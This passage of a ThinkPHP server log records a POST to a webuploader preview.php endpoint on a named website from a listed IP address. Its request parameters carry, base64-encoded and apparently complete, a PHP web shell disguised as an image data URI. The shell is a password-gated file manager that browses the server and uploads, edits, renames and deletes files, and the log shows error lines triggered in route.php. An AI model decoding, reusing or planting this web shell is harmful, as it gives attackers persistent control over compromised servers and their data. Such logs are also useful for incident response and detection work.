c3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:57+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/static/webuploader/0.1.15/server/preview.php [运行时间:0.002792s] [吞吐率:358.15req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWN